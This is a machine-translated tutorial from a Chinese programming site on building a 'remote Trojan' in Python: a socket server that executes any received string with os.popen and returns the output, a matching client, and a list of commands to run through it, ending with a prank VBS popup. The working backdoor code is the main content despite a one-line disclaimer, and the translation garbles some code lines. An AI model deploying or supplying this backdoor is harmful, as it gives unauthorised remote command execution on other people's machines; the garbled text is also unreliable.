程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

Implementation of socket remote Trojan based on Python

編輯:Python

be based on Python Realization socket Remote Trojan

solemn statement : This article is limited to technical discussion , Do not use for other purposes .

Basic knowledge of

  • socket Communication module : in the light of TCP/IP Program encapsulation by protocol cluster , stay Windows/Linux There are such low-level modules .
  • Unicode There are many storage methods , Common are UTF-8、UTF-16、UTF-32, They are represented in different binary formats Unicode character
  • If all English or English is mixed with other words , But English is the majority , use UTF-8 Just like UTF-16 Save a lot of space . And if it's all Chinese characters like this or mixed characters, Chinese accounts for the vast majority .UTF-16 That's the advantage , Can save a lot of space

code :

  • More English : Suggest using UTF-8 code (utf-8 Is the most used encoding method , Is a variable length character encoding )

  • More Chinese : Suggest using UTF-16 code

  • chinese :window The Chinese language is GBK Format encoding

netstat -ant : Only the data of the transport layer is displayed TCP,UDP Connect , It can be used to check socket Does the service work

Server side (server) Program

import socket, os
def attack():
try:
s = socket.socket()
s.bind(('0.0.0.0', 6667)) # Use default address , All devices can access the server's 6667 port 
s.listen() # Yes 6667 Port for listening 
chanel, client = s.accept() # Go into blocking mode ,accept() Return a tuple , Accept data from the client ,chanel: new socket Object is used to identify which client connection the server communicates with , client: Client's IP And port 
while True:
receive = chanel.recv(1024).decode()
reply = os.popen(receive).read()
chanel.send(f" command {
receive} Results of operation :\n{
reply}".encode())
except:
s.close()
attack()
if __name__ == '__main__':
attack()

client (client) Program

import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667)) #192.168.137.1 yes socket The address of the server 
while True:
sendstr = input(" Please enter a message :")
s.send(sendstr.encode())
receive = s.recv(1024).decode()
print(f" Server reply :{
receive}")
# s.close()

Other commands execute functions :

Tips : Import required os modular —— import os

os.system('ipconfig')
os.popen('ipconfig').read()
eval() # String by Python Code to execute 

Basic usage of the Trojan horse program

1、 View file contents

window

type File absolute path

linux

cat File path

2、 Check the file directory

window

dir # View the current file path Directory
dir File path # View the specified file path Directory

linux

ls # View the current file path Directory
ll # View the current file path directory details
ls File path # View the specified file path Directory
ll File path # View the directory details of the specified file path

3、 Create a file or directory

windows

echo test >> demo.txt # Create a demo.txt file , The content of the document is test

linux

mkdir route # Create directory
echo test >> demo.txt # Create a demo.txt file , The content of the document is test

4、 call windows Applications

Call calculator

calc.exe

Call other reference programs

 Enter the application absolute path directly

5、 call Windows Popup

echo msgbox(" You're on a Trojan horse !!") > E:\hi.vbs
E:\hi.vbs

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved